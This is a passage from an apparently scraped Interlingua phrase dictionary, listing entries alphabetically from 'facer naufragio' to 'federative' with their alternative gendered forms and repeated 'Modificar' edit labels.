persona facer naufragioModificar facer naufragio al vista del portoModificar facer naufragio a la vista del porto facer naufragio in vista del portoModificar facer nobileModificar facer observar le legeModificar facer observar la lege facer observar un cosa a un personaModificar facer observar una cosa a una persona facer obstruction in un assembleaModificar facer obstruction in una assemblea facer opposition contraModificar facer ostentation de su cognoscentiasModificar facer ostentation de sus cognoscentias facer ovosModificar facer parallelismos interessante inter duo religionesModificar facer parallelismos interessantes inter duas religiones facer paraphar un acto ne varieturModificar facer parlar de seModificar facer parte deModificar facer parte de un commissionModificar facer parte de una commission facer parte integrante deModificar facer passar le bottiliaModificar facer passar la bottilia facer passar le temporeModificar facer passar un examineModificar facer passo falseModificar facer passo falso facer patientar un personaModificar facer patientar una persona facer patir fameModificar facer pena a un personaModificar facer pena a una persona facer pendantModificar facer penitentiaModificar facer photocopiar un libroModificar facer pietate a un personaModificar facer pietate a una persona facer pilulasModificar facer pipiModificar facer pipi al lectoModificar facer pipi in le lectoModificar facer pirouettesModificar facer placia aModificar facer plorarModificar facer plus de mal que de benModificar facer poemasModificar facer pompa deModificar facer practicasModificar facer precederModificar facer predictionesModificar facer preparationesModificar facer preparativosModificar facer pressaModificar facer pression superModificar facer prestar le juramentoModificar facer prevaler le proprie voluntateModificar facer prevaler la propria voluntate facer prevaler su derectosModificar facer prevaler sus derectos facer prevaler su voluntateModificar facer proba \/ prova de corageModificar facer proba \/ prova de tenacitateModificar facer proba \/ prova de un grande previdentiaModificar facer proba \/ prova de una grande previdentia facer progressosModificar facer progressos sensibileModificar facer progressos sensibiles facer progressos surprendenteModificar facer progressos surprendentes facer prolongar un visaModificar facer prolongar una visa facer prorogar le validitate de un passaportoModificar facer prorogar la validitate de un passaporto facer protestar un littera de cambioModificar facer protestar una littera de cambio facer provisionesModificar facer quac-quacModificar facer quaresimaModificar facer reclamationesModificar facer referimento a un cosaModificar facer referimento a una cosa facer relation deModificar facer renascer le passatoModificar facer renovar su casaModificar facer reservasModificar facer resistentiaModificar facer respectar le constitutionModificar facer respectar la constitution facer respectar le legeModificar facer respectar la lege facer respectar strictementeModificar facer respectar strictamente facer restrictionesModificar facer revelar su intentionesModificar facer revelar sus intentiones facer revelationes surprendenteModificar facer revelationes surprendentes facer reverentias obsequioseModificar facer reverentias obsequiosas facer reviver le passatoModificar facer rider un personaModificar facer rider una persona facer rondos de fumoModificar facer ruitoModificar facer sabotageModificar facer saltarModificar facer saltar un bancaModificar facer saltar una banca facer saper un cosa a un personaModificar facer saper una cosa a una persona facer scala a SchipholModificar facer scala a \/ in un portoModificar facer scalasModificar facer scholaModificar facer se abortarModificar facer se amar deModificar facer se annunciarModificar facer se attenderModificar facer se attrappar per le policiaModificar facer se attrappar per la policia facer se cremarModificar facer se famoseModificar facer se [famoso(s) \/ famosa(s)] facer se honor deModificar facer se illusionesModificar facer se inscriber pro un examineModificar facer se le lacio del cravataModificar facer se le lacio de la cravata facer se le nodo del cravataModificar facer se le nodo de la cravata facer se le permanenteModificar facer se molliar per le pluviaModificar facer se molliar per la pluvia facer se odiar de \/ perModificar facer se operarModificar facer se permanentarModificar facer se prestarModificar facer se reproches mutualModificar facer se reproches mutuales facer se reproches reciprocModificar facer se reproches reciprocos facer se taliar le capillosModificar facer se taliar los capillos facer se tardeModificar facer se tatuarModificar facer se timiteModificar facer se [timito(s) \/ timita(s)] facer se un clientelaModificar facer se una clientela facer se un idea deModificar facer se una idea de facer secar se le capillosModificar facer secar se los capillos facer secessionModificar facer sensationModificar facer sentir su influentiaModificar facer sequer le currero de un personaModificar facer sequer le currero de una persona facer sequer un litteraModificar facer sequer una littera facer servicios synagogalModificar facer servicios synagogales facer signoModificar facer ski nauticModificar facer ski nautico facer soliloquiosModificar facer sportModificar facer streakingModificar facer su apparitionModificar facer su apprentissageModificar facer su besoniosModificar facer sus besonios facer su entrataModificar facer su necessitatesModificar facer sus necessitates facer su reapparitionModificar facer su rondaModificar facer su toiletteModificar facer surfModificar facer surf super glacieModificar facer surplaceModificar facer surrider un personaModificar facer surrider una persona facer tabula rasaModificar facer tacer le conscientiaModificar facer tacer la conscientia facer tacer le voce del conscientiaModificar facer tacer la voce de la conscientia facer taliar se le capillosModificar facer taliar se los capillos facer tentativasModificar facer theModificar facer theatroModificar facer ticModificar facer tictacModificar facer tiltModificar facer tintinnar le clavesModificar facer tintinnar las claves facer toccar le chorda sensibile de un personaModificar facer toccar la chorda sensibile de una persona facer tornar le capite a un personaModificar facer tornar la capite a una persona facer tornar le testa a un personaModificar facer tornar la testa a una persona facer tornar un discoModificar facer tortas de patellaModificar facer tote su effortiosModificar facer totos sus effortios facer toto le possibileModificar facer toto le \/ lo possibile facer trillosModificar facer un affronto a un personaModificar facer un affronto a una persona facer un alligato de auro e de cuproModificar facer un annuncioModificar facer un bon capturaModificar facer una bona captura facer un bon empleo de su temporeModificar facer un bon piscaModificar facer una bona pisca facer un brecha inModificar facer una brecha in facer un cadita mortalModificar facer una cadita mortal facer un calculo usque al quinte decimalModificar facer un calculo usque a la quinta decimal facer un carambolaModificar facer una carambola facer un caricatura deModificar facer una caricatura de facer un circuitoModificar facer un collectaModificar facer una collecta facer un collectionModificar facer una collection facer un colpo de statoModificar facer un communicatoModificar facer un comparationModificar facer una comparation facer un complimento a un personaModificar facer un complimento a una persona facer un compromissoModificar facer un concession a su adversarioModificar facer una concession a su adversario facer un conferentia superModificar facer una conferentia super facer un confessionModificar facer una confession facer un confidentia a un personaModificar facer una confidentia a una persona facer un contraattaccoModificar facer un contrapropositionModificar facer una contraproposition facer un contrasignoModificar facer un contrasto conModificar facer un copia netteModificar facer una copia netta facer un correctionModificar facer una correction facer un cosa apte proModificar facer una cosa apta pro facer un cosa con bon intentionModificar facer una cosa con bona intention facer un cosa con repugnantiaModificar facer una cosa con repugnantia facer un cosa idiotaModificar facer una cosa idiota facer un cosa perfunctorimenteModificar facer una cosa perfunctoriamente facer un curaModificar facer una cura facer un damaModificar facer una dama facer un dansa del ventreModificar facer una dansa del ventre facer un declarationModificar facer una declaration facer un demandaModificar facer una demanda facer un demonstrationModificar facer una demonstration facer un depositoModificar facer un derapageModificar facer un description plastic de un cosaModificar facer una description plastica de una cosa facer un designo a scala reduciteModificar facer un designo a scala reducita facer un deviationModificar facer una deviation facer un diagnoseModificar facer una diagnose facer un digressionModificar facer una digression facer un discontoModificar facer un discopertaModificar facer una discoperta facer un discursoModificar facer un discurso bellicoseModificar facer un discurso bellicoso facer un discurso convincenteModificar facer un distinction subtilModificar facer una distinction subtil facer un donativoModificar facer un effortioModificar facer un effortio specialModificar facer un egotripModificar facer un entrata triumphalModificar facer una entrata triumphal facer un episiotomiaModificar facer una episiotomia facer un errorModificar facer un error per inadvertentiaModificar facer un evalutation approximativeModificar facer una evalutation approximativa facer un evalutation globalModificar facer una evalutation global facer un examineModificar facer un exception in favor deModificar facer una exception in favor de facer un exemplo de un personaModificar facer un exemplo de una persona facer un experimentoModificar facer un expositionModificar facer una exposition facer un fadingModificar facer un favor a un personaModificar facer un favor a una persona facer un figura ridiculeModificar facer una figura ridicula facer un foco de artificioModificar facer un gaffeModificar facer una gaffe facer un goalModificar facer un hora de caudaModificar facer una hora de cauda facer un imbecillitateModificar facer una imbecillitate facer un impression extincteModificar facer una impression extincta facer un infusion deModificar facer una infusion de facer un injustitia a un personaModificar facer una injustitia a una persona facer un inquestaModificar facer una inquesta facer un inspectionModificar facer una inspection facer un labor repugnanteModificar facer un mailingModificar facer un mal empleo de su temporeModificar facer un marchaModificar facer una marcha facer un mésallianceModificar facer una mésalliance facer un montania de un grano de arenaModificar facer una montania de un grano de arena facer un montania de un grano de sabloModificar facer una montania de un grano de sablo facer un motionModificar facer una motion facer un nidoModificar facer un nodoModificar facer un numero de telephonoModificar facer un objectionModificar facer una objection facer un offerta avantagioseModificar facer una offerta avantagiosa facer un pacchettoModificar facer un paccoModificar facer un pagamentoModificar facer un pantomimaModificar facer una pantomima facer un parallelo interModificar facer un passoModificar facer un pausa de caffeModificar facer una pausa de caffe facer un perquisition al domicilio de un personaModificar facer una perquisition al domicilio de una persona facer un petitionModificar facer una petition facer un photoModificar facer una photo facer un picnicModificar facer un pirouetteModificar facer una pirouette facer un placer a un personaModificar facer un placer a una persona facer un politica reformisticModificar facer una politica reformistica facer un politica revisionisticModificar facer una politica revisionistica facer un predicaModificar facer una predica facer un prestoModificar facer un processionModificar facer una procession facer un processo contra un personaModificar facer un processo contra una persona facer un prognoseModificar facer una prognose facer un projectoModificar facer un punctionModificar facer una punction facer un questaModificar facer una questa facer un quitantiaModificar facer una quitantia facer un radioscopiaModificar facer una radioscopia facer un raidModificar facer un reproche a un personaModificar facer un reproche a una persona facer un résuméModificar facer un reunionModificar facer una reunion facer un reverentiaModificar facer una reverentia facer un revisionModificar facer una revision facer un roloModificar facer un sacrificioModificar facer un safariModificar facer un saltoModificar facer un schedarioModificar facer un selectionModificar facer una selection facer un serenada a un personaModificar facer una serenada a una persona facer un shampooModificar facer un signo affirmative de capiteModificar facer un signo affirmativo de capite facer un signo affirmative de testaModificar facer un signo affirmativo de testa facer un signo de cruceModificar facer un signo negative de capiteModificar facer un signo negativo de capite facer un signo negative de testaModificar facer un signo negativo de testa facer un soliloquioModificar facer un somno curteModificar facer un somno curto facer un somno legierModificar facer un somno legiero facer un sonioModificar facer un sponsionModificar facer una sponsion facer un stageModificar facer un substruction de palos proModificar facer una substruction de palos pro facer un supreme effortioModificar facer un supremo effortio facer un telephonataModificar facer una telephonata facer un testamentoModificar facer un tortaModificar facer una torta facer un travalio repugnanteModificar facer un tripModificar facer un usage frequente de un cosaModificar facer un usage frequente de una cosa facer un uso discrete deModificar facer un uso discreto de facer un viageModificar facer un volo de essayo con un avionModificar facer usage deModificar facer uso de su influentiaModificar facer uso de un linguage pomposeModificar facer uso de un linguage pomposo facer uso del coercitionModificar facer uso de la coercition facer uso del parolaModificar facer uso de la parola facer valer le derecto al pensionModificar facer valer le derecto a la pension facer valer seModificar facer valer su autoritateModificar facer valer su derectosModificar facer valer sus derectos facer velaModificar facer venirModificar facer venir le fameModificar facer venir la fame facer venir le \/ un medicoModificar facer venir un prestreModificar facer versosModificar facer vibrar le chorda sensibileModificar facer vibrar la chorda sensibile facer vibrar le chorda sensibile de un personaModificar facer vibrar la chorda sensibile de una persona facer violentia a un personaModificar facer violentia a una persona facer violentia a un textoModificar facer visita a un personaModificar facer visita a una persona facer voto deModificar facer voto de castitateModificar faceteModificar facete(s) \/ faceta(s) facetiaModificar facetiasModificar facetioseModificar facetioso(s) \/ facetiosa(s) faciadaModificar faciada campaniformeModificar faciada de campanaModificar faciada de detraModificar faciada de honestate \/ honestitateModificar faciada de un ecclesiaModificar faciada de una ecclesia faciada lateralModificar faciada posteriorModificar faciada retirateModificar faciada retirata faciada superiorModificar facialModificar facial(es) facibileModificar facibile(s) facibilitateModificar facieModificar facie [la facie a facieModificar facie a facie con le morteModificar facie a facie con la morte facie allegreModificar facie allegre \/ allegra facie anterior del omoplateModificar facie anterior del \/ de_la omoplate facie coperite de sudorModificar facie coperita de sudor facie coperte de rugasModificar facie coperta de rugas facie de criminalModificar facie de funeralModificar facie de pueroModificar facie de satyroModificar facie de seraphinModificar facie epigraphicModificar facie epigraphica facie externeModificar facie externa facie interiorModificar facie lunarModificar facie magreModificar facie magra facie ovalModificar facie pallideModificar facie pallida facie patibularModificar facie rubicundeModificar facie rubicunda facies de un prismaModificar faciettaModificar facietta articularModificar faciettarModificar faciettas de un diamanteModificar facileModificar facile(s) facile de accessoModificar facile(s) de accesso facilitarModificar facilitar le digestionModificar facilitar la digestion facilitar le execution de un laborModificar facilitar la execution de un labor facilitar le execution de un travalioModificar facilitar la execution de un travalio facilitar le progressoModificar facilitar le solution de un problemaModificar facilitar la solution de un problema facilitateModificar facilitate [la facilitate de elocutionModificar facilitate de expressionModificar facilitate de parolaModificar facilitate de un examineModificar facilitate de un laborModificar facilitate de un travalioModificar facilitatesModificar facilitates de creditoModificar facilitates de pagamentoModificar facilitates de transportationModificar facilitates de transportoModificar facilitates fiscalModificar facilitates fiscales facilitates portuariModificar facilitates portuarias facilitates sanitariModificar facilitates sanitarias facilitates special pro personas handicapateModificar facilitates speciales pro personas handicapatas facilitationModificar facite a casaModificar [facito(s) \/ facita(s)] a casa facite a manoModificar [facito(s) \/ facita(s)] a mano facite abstraction deModificar facita abstraction de facite con reflexionModificar [facito(s) \/ facita(s)] con reflexion facitorModificar facitor de falcesModificar facitor de versosModificar facitor de waflasModificar facsimileModificar facsimile [le facsimiles de documentosModificar facticieModificar facticio(s) \/ facticia(s) factionModificar faction dissidenteModificar factionarioModificar factioseModificar factioso(s) \/ factiosa(s) factitiveModificar factitivo(s) \/ factitiva(s) factitivoModificar factoModificar facto bruteModificar facto bruto facto certeModificar facto certo facto compliteModificar facto complito facto crudeModificar facto crudo facto de armasModificar facto de experientiaModificar facto delictuoseModificar facto delictuoso facto diversemente interpretate per le commentatoresModificar facto diversamente interpretato per los commentatores facto historicModificar facto historico facto incontestabileModificar facto insoliteModificar facto insolito facto irrelevanteModificar facto juridicModificar facto juridico facto memorabileModificar facto nudeModificar facto nudo facto positiveModificar facto positivo facto punibileModificar facto realModificar facto sporadicModificar facto sporadico facto surprendenteModificar factorModificar factor affectiveModificar factor affectivo factor antianemicModificar factor antianemico factor bioticModificar factor biotico factor climaticModificar factor climatico factor de amplificationModificar factor de conversionModificar factor de correctionModificar factor de crescentiaModificar factor de crescimentoModificar factor de demagnetisationModificar factor de demagnetization factor de erosionModificar factor de hereditateModificar factor de imprevisibilitateModificar factor de incompatibilitateModificar factor de multiplicationModificar factor de mutationModificar factor de normalisationModificar factor de normalization factor de productionModificar factor de reflexionModificar factor de transformationModificar factor de umlautModificar factor economicModificar factor economico factor edaphicModificar factor edaphico factor emotionalModificar factor emotiveModificar factor emotivo factor geneticModificar factor genetico factor hydrologicModificar factor hydrologico factor intrinsecModificar factor intrinseco factor linguisticModificar factor linguistico factor ludicModificar factor ludico factor mendelianModificar factor mendeliano factor politicModificar factor politico factor principalModificar factor que on non pote minimisarModificar factor que on non pote minimizar factor regulatorModificar factor rhesusModificar factor saisonalModificar factor sanguineeModificar factor sanguineo factor socialModificar factor stilisticModificar factor stilistico factores ambientalModificar factores ambientales factores erosiveModificar factores erosivos factores exogeneModificar factores exogenos factores imponderabileModificar factores imponderabiles factores lethalModificar factores lethales factores mutageneModificar factores mutagenos factoriaModificar factorialModificar factorial adj, sub factoring [A]Modificar factorisarModificar factorizar factorisar polynomiosModificar factorizar polynomios factorisationModificar factorization factos concreteModificar factos concretos factos indubitateModificar factos indubitatos factos interdependenteModificar factos interdependentes factos isolateModificar factos isolatos factos mythologicamente interpretateModificar factos mythologicamente interpretatos factos nudeModificar factos nudos factos pertinenteModificar factos pertinentes factos precogniteModificar factos precognitos factos qualitativeModificar factos qualitativos factotum [L]Modificar factualModificar factual(es) factualitateModificar facturaModificar factura de compra(s)Modificar factura de compra(s) factura de reimbursamentoModificar factura de reparationModificar factura detaliateModificar factura detaliata factura pro formaModificar factura specificateModificar factura specificata facturarModificar facturationModificar facturistaModificar faculaModificar facularModificar facular(es) facultateModificar facultate cognitiveModificar facultate cognitiva facultate combinateModificar facultate combinata facultate creativeModificar facultate creativa facultate creatorModificar facultate creatrice facultate de adaptationModificar facultate de apperceptionModificar facultate de comprehension \/ comprensionModificar facultate de concentrationModificar facultate de discernimentoModificar facultate de \/ del litterasModificar facultate de \/ de_las litteras facultate de medicinaModificar facultate de theologiaModificar facultate germinativeModificar facultate germinativa facultate gustativeModificar facultate gustativa facultate litterariModificar facultate litteraria facultate paranormalModificar facultate perceptiveModificar facultate perceptiva facultate pluridisciplinariModificar facultate pluridisciplinaria facultate visiveModificar facultate visiva facultate visualModificar facultates intellectualModificar facultates intellectuales facultates mentalModificar facultates mentales facultativeModificar facultativo(s) \/ facultativa(s) facundeModificar facundo(s) \/ facunda(s) facundiaModificar fading [A]Modificar fading de proximitateModificar fading localModificar fadoModificar fagiformeModificar fagiforme(s) fagoModificar fagopyroModificar fagottarModificar fagottar vb fagottistaModificar fagottoModificar fagotto tenorModificar Fahrenheit, Gabriel DanielModificar faience [F]Modificar faisanModificar faisan [le faisan aurateModificar faisan aurato faisan dorateModificar faisan dorato faisan masculeModificar faisan masculo faisaneriaModificar faisaneroModificar fait accompli [F]Modificar fakirModificar fakir [le fakirismoModificar Falange [E]Modificar falangismoModificar falangistaModificar falcarModificar falcar le herbaModificar falcar la herba falcar un pratoModificar falcariaModificar falcataModificar falcateModificar falcato(s) \/ falcata(s) falcatorModificar falcaturaModificar falceModificar falce [la falce del lunaModificar falce de la luna falce e martelloModificar falcettoModificar falcibracteeModificar falcibracteo(s) \/ falcibractea(s) falcifereModificar falcifero(s) \/ falcifera(s) falcifolieModificar falcifolio(s) \/ falcifolia(s) falciformeModificar falciforme(s) falcipetaleModificar falcipetalo(s) \/ falcipetala(s) falconModificar falcon columbariModificar falcon columbario falcon peregrinModificar falcon peregrino falconarModificar falconar vb falconeriaModificar falconeroModificar falconettoModificar falconidesModificar falconides [los falconiformeModificar falconiforme(s) faldistorioModificar FaliaModificar fallaceModificar fallace(s) fallaciaModificar fallerModificar falliaModificar fallia a plicaModificar fallia abyssalModificar fallia anticlinalModificar fallia clauseModificar fallia clausa fallia complexeModificar fallia complexa fallia compositeModificar fallia composita fallia de compressionModificar fallia de horstModificar fallia del seismoModificar fallia diagonalModificar fallia isoclinalModificar fallia longitudinalModificar fallia obliqueModificar fallia obliqua fallia passiveModificar fallia passiva fallia radialModificar fallia seismogenicModificar fallia seismogenica fallia semilongitudinalModificar fallia semitransverseModificar fallia semitransversa fallia transversalModificar fallia transverseModificar fallia transversa fallibileModificar fallibile(s) fallibilitateModificar fallimentoModificar fallitoModificar FallopioModificar fall-out [A]Modificar fall-out radioactiveModificar fall-out radioactiva falsarModificar falsar un documentoModificar falsarioModificar falsario de monetaModificar falsario de un signaturaModificar falsario de una signatura falsatorModificar falsator de monetaModificar falsator del veritateModificar falsator de la veritate falseModificar falso(s) \/ falsa(s) false claveModificar falsa clave falsettoModificar falsificabileModificar falsificabile(s) falsificarModificar falsificar billetesModificar falsificar le pensamento de un personaModificar falsificar le pensamento de una persona falsificar le pensata de un personaModificar falsificar la pensata de una persona falsificar le veritateModificar falsificar la veritate falsificar monetaModificar falsificar notas de bancaModificar falsificar un contractoModificar falsificar un documentoModificar falsificar un passaportoModificar falsificar un signaturaModificar falsificar una signatura falsificar un textoModificar falsificationModificar falsification de documentosModificar falsification de scriptosModificar falsification de textosModificar falsification del historiaModificar falsification de la historia falsification del veritateModificar falsification de la veritate falsificatorModificar falsificator de documentosModificar falsificator de monetaModificar falsificator de scriptosModificar falsificator de textosModificar falsitateModificar falsitate de un affirmationModificar falsitate de una affirmation falsitate de un judicioModificar falsoModificar falso historicModificar falso historico faltaModificar falta de causalitateModificar falta de \/ del characterModificar falta de constructionModificar falta de copistaModificar falta de grammaticaModificar falta de impressionModificar falta de lecturaModificar falta de orthographiaModificar falta de texturaModificar falta de traductionModificar falta de translationModificar falta elementariModificar falta elementaria falta grammaticModificar falta grammatica falta grammaticalModificar falta impardonabileModificar falta inexcusabileModificar falta initialModificar falta irremediabileModificar falta irremediabile falta irremissibileModificar falta irreparabileModificar falta legierModificar falta legiera falta orthographicModificar falta orthographica famaModificar fama de heroeModificar fama de scriptorModificar fama poeticModificar fama poetica fameModificar fame [la fame caninModificar fame canina fame de lupoModificar fame de mandarModificar fame de terraModificar fame horribileModificar fame inappaciabileModificar fame insatiabileModificar famelicModificar famelico(s) \/ famelica(s) familiaModificar familia adoptiveModificar familia adoptiva familia affinModificar familia amicModificar familia amica familia botanicModificar familia botanica familia burgeseModificar familia burgesa familia de condition humileModificar familia de condition modesteModificar familia de condition modesta familia de linguasModificar familia de parolasModificar familia de vocabulosModificar familia granducalModificar familia imperialModificar familia impovriteModificar familia impovrita familia indigenteModificar familia linguisticModificar familia linguistica familia monogamicModificar familia monogamica familia monoparentalModificar familia nobileModificar familia numeroseModificar familia numerosa familia obrerModificar familia obrera familia patricieModificar familia patricia familia principescModificar familia principesca familia regalModificar familia royalModificar familia sin matreModificar familia sin patreModificar familialModificar familial(es) familiarModificar familiar(es) familiarisarModificar familiarizar familiarisar se con un ambiente noveModificar familiarizar se con un ambiente novo familiarisar un soldato con le maneamento del armasModificar familiarizar un soldato con le maneamento de las armas familiarisationModificar familiarization familiaritateModificar familiaritatesModificar famoseModificar famoso(s) \/ famosa(s) fanModificar fan [le \/ la fanalModificar fanal [le fanal de atterrageModificar fanaticModificar fanatico(s) \/ fanatica(s) fanaticoModificar fanatico de footballModificar fanatico de JesusModificar fanatico del operaModificar fanatico de la opera fanatisarModificar fanatizar fanatisar le publicoModificar fanatizar le publico fanatisationModificar fanatization fanatismoModificar fanatismo cecModificar fanatismo ceco fanatismo religioseModificar fanatismo religioso fandangoModificar fanfarModificar fanfar [la fanfaronModificar fanfaronadaModificar fanfaronadas de chassatorModificar fanfaronarModificar fangoModificar fango cloacalModificar fango de cloacaModificar fango de fossatoModificar fango de fundoModificar fango de radiolariaModificar fangoseModificar fangoso(s) \/ fangosa(s) fangositateModificar fangositate del terrenoModificar fangotherapiaModificar fangotherapia fanoModificar fanonModificar fanon [le faradModificar farad [le Faraday, MichaelModificar faradicModificar faradico(s) \/ faradica(s) faradisarModificar faradizar faradisationModificar faradization faradismoModificar farandole [F]Modificar farce [F]Modificar farcirModificar farcituraModificar fardarModificar fardar seModificar fardar se discretementeModificar fardar se discretamente fardar un actorModificar fardatorModificar fardelloModificar fardello de su responsabilitatesModificar fardello de sus responsabilitates fardello del annosModificar fardello de los annos fardoModificar fardo a palpebrasModificar fardo del oculosModificar fardo de los oculos farinaModificar farina a \/ de cakeModificar farina con levaturaModificar farina de avenaModificar farina de branModificar farina de cassavaModificar farina de fabasModificar farina de frumentoModificar farina de hordeoModificar farina de lenticulaModificar farina de lignoModificar farina de linoModificar farina de maisModificar farina de maniocModificar farina de ossosModificar farina de patatasModificar farina de pisceModificar farina de pisosModificar farina de risModificar farina de sagoModificar farina de secaleModificar farina de soyaModificar farina de tapiocaModificar farina de triticoModificar farina finModificar farina fina farina integralModificar farina lacteeModificar farina lactea farina panificabileModificar farinaceeModificar farinaceo(s) \/ farinacea(s) farinarModificar farineroModificar farinieraModificar farinoseModificar farinoso(s) \/ farinosa(s) farragineModificar farragine de librosModificar farraginoseModificar farraginoso(s) \/ farraginosa(s) farsaModificar farsalModificar farsal(es) farsarModificar farsatorModificar farsistaModificar fasceModificar fasce [le fasce atomicModificar fasce atomico fasce collimateModificar fasce collimato fasce convergenteModificar fasce de brancasModificar fasce de clave(s)Modificar fasce de electronesModificar fasce de flechasModificar fasce de frumentoModificar fasce de laserModificar fasce de luceModificar fasce de lumineModificar fasce de nervo(s)Modificar fasce de neutronesModificar fasce de paleaModificar fasce de radiationes incoherenteModificar fasce de radiationes incoherentes fasce de radicesModificar fasce de radiosModificar fasce de sagittasModificar fasce de triticoModificar fasce del projectorModificar fasce diffractateModificar fasce diffractato fasce divergenteModificar fasce electronicModificar fasce electronico fasce incidenteModificar fasce luminoseModificar fasce luminoso fasce luminose homocentricModificar fasce luminoso homocentrico fasce muscularModificar fasce spinothalamicModificar fasce spinothalamico fasciaModificar fascia de cellulosaModificar fascia de pissaModificar fascia de un sol usoModificar fasciateModificar fasciato(s) \/ fasciata(s) fasciationModificar fascicularModificar fascicular(es) fasciculateModificar fasciculato(s) \/ fasciculata(s) fasciculationModificar fasciculoModificar fasciculo finalModificar fasciculo nervoseModificar fasciculo nervoso fascinaModificar fascinanteModificar fascinante(s) fascinarModificar fascinataModificar fascinata [la fascinationModificar fascinatorModificar fascinoModificar fascismoModificar fascismo resurgenteModificar fascistaModificar fascisticModificar fascistico(s) \/ fascistica(s) fascistoideModificar fascistoide(s) fashion [A]Modificar fashionable [A]Modificar fastidiarModificar fastidioseModificar fastidioso(s) \/ fastidiosa(s) fastidiositateModificar fastidiositate de un enumerationModificar fastidiositate de una enumeration fastigiateModificar fastigiato(s) \/ fastigiata(s) fastigioModificar fastigio de un edificioModificar fastoModificar fasto orientalModificar fastoseModificar fastoso(s) \/ fastosa(s) fastuoseModificar fastuoso(s) \/ fastuosa(s) fastuositateModificar fastuositate de un ceremoniaModificar fastuositate de una ceremonia fatalModificar fatal(es) fatalismoModificar fatalistaModificar fatalisticModificar fatalistico(s) \/ fatalistica(s) fatalitateModificar fata morganaModificar fathom [A]Modificar fatidicModificar fatidico(s) \/ fatidica(s) fatigaModificar fatiga cerebralModificar fatiga de materialesModificar fatiga de metalloModificar fatiga debite al corrosionModificar fatiga debita a la corrosion fatiga intellectualModificar fatiga mechanicModificar fatiga mechanica fatiga mentalModificar fatiga muscularModificar fatiga nervoseModificar fatiga nervosa fatiga persistenteModificar fatigabileModificar fatigabile(s) fatigabilitateModificar fatiganteModificar fatigante(s) fatigarModificar fatigar se de un cosaModificar fatigar se de una cosa fatigar su auditoresModificar fatigar sus auditores fatigateModificar fatigato(s) \/ fatigata(s) fatigate per le combattoModificar [fatigato(s) \/ fatigata(s)] per le combatto fatoModificar fatsiaModificar fatueModificar fatuo(s) \/ fatua(s) fatuitateModificar fatuitate de un conversationModificar fatuitate de una conversation faunaModificar fauna abysmal \/ abyssalModificar fauna alpestreModificar fauna alpinModificar fauna alpina fauna antarcticModificar fauna antarctica fauna arcticModificar fauna arctica fauna carbonifereModificar fauna carbonifera fauna cenozoicModificar fauna cenozoica fauna de aqua dulceModificar fauna de aveModificar fauna de tundraModificar fauna del desertoModificar fauna del dunaModificar fauna de la duna fauna del soloModificar fauna e flora litoralModificar fauna e flora paleozoicModificar fauna e flora paleozoicas fauna endemicModificar fauna endemica fauna ethiopicModificar fauna ethiopica fauna forestalModificar fauna fossileModificar fauna jurassicModificar fauna jurassica fauna liassicModificar fauna liassica fauna marinModificar fauna marina fauna maritimeModificar fauna maritima fauna microscopicModificar fauna microscopica fauna nearcticModificar fauna nearctica fauna paleozoicModificar fauna paleozoica fauna pelagicModificar fauna pelagica fauna polarModificar fauna prehistoricModificar fauna prehistorica fauna steppicModificar fauna steppica fauna subtropicModificar fauna subtropica fauna subtropicalModificar fauna tropicalModificar faunalModificar faunal(es) faunescModificar faunesco(s) \/ faunesca(s) faunicModificar faunico(s) \/ faunica(s) faunisticModificar faunistico(s) \/ faunistica(s) faunisticaModificar faunoModificar faustianModificar faustiano(s) \/ faustiana(s) fauteuil [F]Modificar fauvismoModificar fauvistaModificar favismoModificar favoModificar favorModificar favor aulicModificar favor aulico favor de corteModificar favor del corteModificar favor de la corte favor popularModificar favorabileModificar favorabile(s) favorar \/ favorirModificar favorar \/ favorir le artesModificar favorar \/ favorir las artes favorar \/ favorir le crescentiaModificar favorar \/ favorir la crescentia favorar \/ favorir un interprisaModificar favorar \/ favorir una interprisa favorar \/ favorir un planoModificar favorar \/ favorir un projectoModificar favoritaModificar favoriteModificar favorito(s) \/ favorita(s) favoritismoModificar favoritoModificar favoseModificar favoso(s) \/ favosa(s) faxModificar fax [le faxarModificar febreModificar febre [la febre alteModificar febre alta febre amoroseModificar febre amorosa febre aphthoseModificar febre aphthosa febre arthriticModificar febre arthritica febre asthenicModificar febre asthenica febre bilioseModificar febre biliosa febre catarrhalModificar febre de \/ del auroModificar febre de famaModificar febre de gloriaModificar febre de lacteModificar febre de MaltaModificar febre de trencheaModificar febre del dentitionModificar febre de la dentition febre del electionesModificar febre de las electiones febre del fenoModificar febre deliranteModificar febre epidemicModificar febre epidemica febre eruptiveModificar febre eruptiva febre exanthematicModificar febre exanthematica febre exanthematoseModificar febre exanthematosa febre ganglionarModificar febre gastricModificar febre gastrica febre hecticModificar febre hectica febre intermittenteModificar febre jalneModificar febre jalne \/ jalna febre lacteeModificar febre lactea febre larvateModificar febre larvata febre malaricModificar febre malarica febre maligneModificar febre maligna febre maremmaticModificar febre maremmatica febre miasmaticModificar febre miasmatica febre miliarModificar febre mucoseModificar febre mucosa febre nervoseModificar febre nervosa febre paludicModificar febre paludica febre palustreModificar febre paratyphoideModificar febre puerperalModificar febre quartanModificar febre quartana febre quotidianModificar febre quotidiana febre recurrenteModificar febre remittenteModificar febre rheumaticModificar febre rheumatica febre scarlatinModificar febre scarlatina febre soporoseModificar febre soporosa febre splenicModificar febre splenica febre subintranteModificar febre sudoralModificar febre tenaceModificar febre tertianModificar febre tertiana febre traumaticModificar febre traumatica febre traumatologicModificar febre traumatologica febre typhoideModificar febre urenteModificar febricitanteModificar febricitante(s) febricitarModificar febrifugeModificar febrifugo(s) \/ febrifuga(s) febrifugoModificar febrilModificar febril(es) febrilitateModificar februarioModificar fecalModificar fecal(es) feceModificar fece [le \/ la fece de vinoModificar feculaModificar fecula de patatasModificar fecularModificar fecular vb feculenteModificar feculente(s) adj feculentiaModificar feculeriaModificar feculoseModificar feculoso(s) \/ feculosa(s) fecundabileModificar fecundabile(s) fecundabilitateModificar fecundabilitate de un gameta femininModificar fecundabilitate de un gameta feminino fecundarModificar fecundar un gameta femininModificar fecundar un gameta feminino fecundar un ovoModificar fecundationModificar fecundation artificialModificar fecundation cruciateModificar fecundation cruciata fecundation del oocytoModificar fecundation dupleModificar fecundation dupla fecundation in vitroModificar fecundatorModificar fecundeModificar fecundo(s) \/ fecunda(s) fecunditateModificar fecunditate del imaginationModificar fecunditate de la imagination fedeModificar fedo(s) \/ feda(s) federalModificar federalismoModificar federalismo europeeModificar federalismo europeo federalismo mundialModificar federalistaModificar federalisticModificar federalistico(s) \/ federalistica(s) federarModificar federateModificar federato(s) \/ federata(s) federationModificar federation de footballModificar federation paneuropeeModificar federation paneuropea federation sportiveModificar federation sportiva federativeModificar federativo(s) \/ 